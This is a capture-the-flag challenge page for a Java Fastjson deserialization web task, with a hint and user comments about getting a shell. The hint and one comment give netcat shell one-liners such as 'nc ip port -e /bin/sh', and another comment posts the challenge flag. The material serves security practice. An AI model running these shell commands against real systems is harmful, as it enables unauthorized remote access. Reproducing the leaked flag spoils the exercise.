Java Fastjson UnserializeWEB 未解决

分数: 40 金币: 5
题目作者: 云牧青
一  血: 云牧青
一血奖励: 8金币
解  决: 85
提  示: /bin/bash:x ; /bin/sh √ ; /dev/tcp × ; nc x.x.x.x x -e √ ;
描  述:
flag{}
评论
wxy1343 11月前

flag{c4825441cb7fe815994a6ba7651a9744}

回复 0

ruibiu 1年前

始终弹不回shell,回显com.alibaba.fastjson.JSONException: set property error, autoCommit

回复 1
txadmin 9月前

应该是jdk版本的问题,用jdk8可以反弹,用最新的jdk17反而不能

回复 0

jack12138 1年前

正向弹shell: nc ip port -e /bin/sh

回复 0

acvxd 1年前

误: 找不到或无法加载主类 marshalsec.jndi.LDAPRefServer

回复 0
sshui 1年前

工具坏了,重新找一个

回复 0

txadmin 2年前

解题参考 https://www.cnblogs.com/ktsm/p/15700289.html

回复 3
txadmin 9月前

@成朗 不好意思,最近复现了一下,代码确实有问题,不能用wget下载,而是访问那个网址或者git clone下来

回复 0

成朗 1年前

你这工具是坏的,虾仁猪心,,我用你的wp因为工具你编译的错误,导致我6个小时都在找哪里出错了。,,

回复 0

txadmin 2年前

题主是老java程序员吗?

回复 0
云牧青 2年前

并不是Java程序员,看代码就知道了,超水,哈哈哈

回复 0

blueyst 2年前

传payload直接传死机了可还行,痛失5金币,记仇ing

回复 2
云牧青 2年前

(つ﹏⊂)

回复 1

blueyst 2年前

自己抢自己一血了属于是

回复 2
云牧青 2年前

哈哈哈哈哈哈哈,没忍住

回复 1

云牧青 2年前

/bin/bash:x ; /bin/sh √ ; /dev/tcp × ; nc x.x.x.x x -e √ ;

回复 0

WriteUp

image
xiaoxiaoran

4 金币

评分(3)

解题动态

MorstarDust 攻破了该题 3天前
EddieMurphy 攻破了该题 5天前
FightnvrGP 攻破了该题 23天前
13263138306 攻破了该题 1月前
WenTao 攻破了该题 3月前
section 攻破了该题 4月前
Y0n3er 攻破了该题 5月前
blackjack009 攻破了该题 6月前
tomcat 攻破了该题 6月前
testbai 攻破了该题 7月前
L3ttuc3 攻破了该题 8月前
Freekking 攻破了该题 9月前
6lack 攻破了该题 9月前
九筒张麻子 攻破了该题 9月前
pian 攻破了该题 11月前
always 攻破了该题 11月前
wxy1343 攻破了该题 11月前
蔚蓝 攻破了该题 1年前
秦九洛123 攻破了该题 1年前
成朗 攻破了该题 1年前